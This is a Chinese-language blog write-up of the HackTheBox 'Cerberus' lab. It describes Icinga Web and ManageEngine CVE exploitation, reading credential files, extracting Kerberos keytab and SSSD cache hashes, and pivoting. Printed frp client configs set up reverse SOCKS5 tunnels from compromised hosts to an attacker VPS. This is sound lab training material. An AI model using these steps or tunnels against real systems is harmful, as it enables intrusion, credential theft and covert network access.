Cerberus-HackTheBox

年轻人的第一台Hard靶机,真的太难了

开局先扫描,与往常的Windows靶机不同,这台只开了8080

访问8080,发现一个监控软件

Linux User Shell

CVE-2022-24715

上exploit-notes看看

https://exploit-notes.hdks.org/exploit/web/icinga-web-pentesting/

直接试试RCE

没法登录,看来是需要用户密码的

留意到下面还有个未授权的任意文件读取

确实可以,那我们就找一下用户密码

/etc/icingaweb2/resources.ini中发现了用户密码

登录成功

再试试RCE,拿下。只是www-data账户,还需提权

linpeas跑一下,留意到root运行了redis,但是这里连SSH都没开,写root公钥是没办法了。

竟然还有53端口

一些smb信息

Linux Root Shell

firejail提权

SUID这里发现了新面孔

这里没有

不过在sploitus.com找到了提权漏洞

然鹅并没有发现任何flag,这台靶机是Windows靶机,这波拿下一个Linux机器。估计要开始横向才行

Get User Flag

回想一下这是一台Windows靶机,但给了我们一台Linux打,而且开了DNS和smb服务。我猜测是用Linux搭的域,上网了解一下。

再跑一次linpeas收集信息,这里可看到SSSD,它可以让Linux服务器加到域内

https://access.redhat.com/documentation/zh-cn/red_hat_enterprise_linux/8/html/configuring_authentication_and_authorization_in_rhel/understanding-sssd-and-its-benefits_configuring-authentication-and-authorization-in-rhel

LDAP信息

确实可以看到这是一个Linux搭建的域

这边还有一些票据

1
2
You could use SSSDKCMExtractor to extract the tickets stored here
-rw------- 1 root root 1638400 Mar 1 12:11 /var/lib/sss/secrets/secrets.ldb

还有powershell历史命令

恶心人。。

研究一下krb5.keytab怎么利用

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory#extract-accounts-from-etc-krb5.keytab

成功获得Hash

但我们还没做主机探测,这里用一下著名的fscan

发现还有一台主机存活

没开445,无法通过哈希传递横向过去

这个5985端口正是winrm的端口,算是给我们开了个口子。有用户密码即可登录了

只能再回到前面收集到的信息,了解一下SSSD

SSSD (System Security Services Daemon) 是一个用于提供统一身份认证和授权服务的守护进程。它在Linux系统中广泛使用,特别是在企业环境中,用于集成用户身份验证、授权和用户信息检索。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory#ccache-ticket-reuse-from-sssd-kcm

非常可惜这台机子没有.secrets.mkey

这时候死去的CTF技巧又来了,通过strings命令查看cache_cerberus.local.ldb可以看到一个hash

john爆一下

用户方面可以发现,还是这个matthew

frp 内网穿透

服务端(VPS)

1
2
3
4
5
6
cat frps.ini 
[common]
bind_addr = 0.0.0.0
bind_port = 7000

./frps -c frps.ini

客户端(靶机Linux)

1
2
3
4
5
6
7
8
9
10
11
cat frpc.ini
[common]
server_addr = 10.10.16.76
server_port = 7000

[socks5]
remote_port = 1080
plugin = socks5


./frpc -c frpc.ini

修改proxychains配置文件

1
2
tail -n 1 /etc/proxychains.conf  //在最后一行添加以下配置
socks5 127.0.0.1 1080

此时VPS上通过proxychains已经能访问了

1
proxychains <command>

获得user flag,真不容易

直接上BloodHound收集一波信息,寄了

PowerSploit也寄了

试一下winpeas,不负众望

试一下上面这个漏洞,失败了

后面翻了很久winpeas,发现了这个AD的密码重置工具

版本6.2

存在RCE

竟然需要administrator的密码..

搜一下其他与ManageEngine ADSelfService相关的CVE

CVE-2021-40539版本不合适

CVE-2022-47966能以NT AUTHORITY\SYSTEM 的身份远程执行代码,这就完美了

但这两个参数不知道去哪里搞

Github上看到,这个GUID在网页上应该能搞到

Issuer可能是adfs/services/trust

端口太多了

这里找到了对应端口

难道只能本地访问?

Get Root Flag

frp内网穿透

客户端(靶机Windows)

1
2
3
4
5
6
7
8
9
10
11
12
13
cat frpc.ini
[common]
server_addr = 10.10.16.76
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 9251
remote_port = 6000
plugin = socks5

.\frpc.exe -c frpc.ini

服务端(VPS)

1
2
3
4
5
6
cat frps.ini 
[common]
bind_addr = 0.0.0.0
bind_port = 7000

./frps -c frps.ini

修改proxychains配置文件

1
2
tail -n 1 /etc/proxychains.conf  //在最后一行添加以下配置
socks5 127.0.0.1 6000

此时VPS上通过proxychains已经能访问了

本地

本地通过Proxifier进行代理

即可进行访问

使用matthew\@CERBERUS.LOCAL和它的密码登录一下

坏了但是获得了我们想要的GUID

CVE-2022-47966提权

设置好参数之后exploit(这里失败了很多次)

这回不是Script Kiddie了

Summary

太难了,每次打Windows靶机都感觉知识量暴增。经常都要去研究它给的软件,比如这里的SSSD、ADFS。而且环境不太稳定,CVE-2022-47966打了好久才成功,中间还重置了两次靶机,重来了两遍。还有这次靶机都没开SSH,只能通过其他软件进行内网渗透。又狠狠复习了一波内网代理。


Cerberus-HackTheBox
http://aurey7.github.io.git/2023/07/30/Cerberus-HackTheBox/
作者
Aurey7
发布于
2023年7月30日
许可协议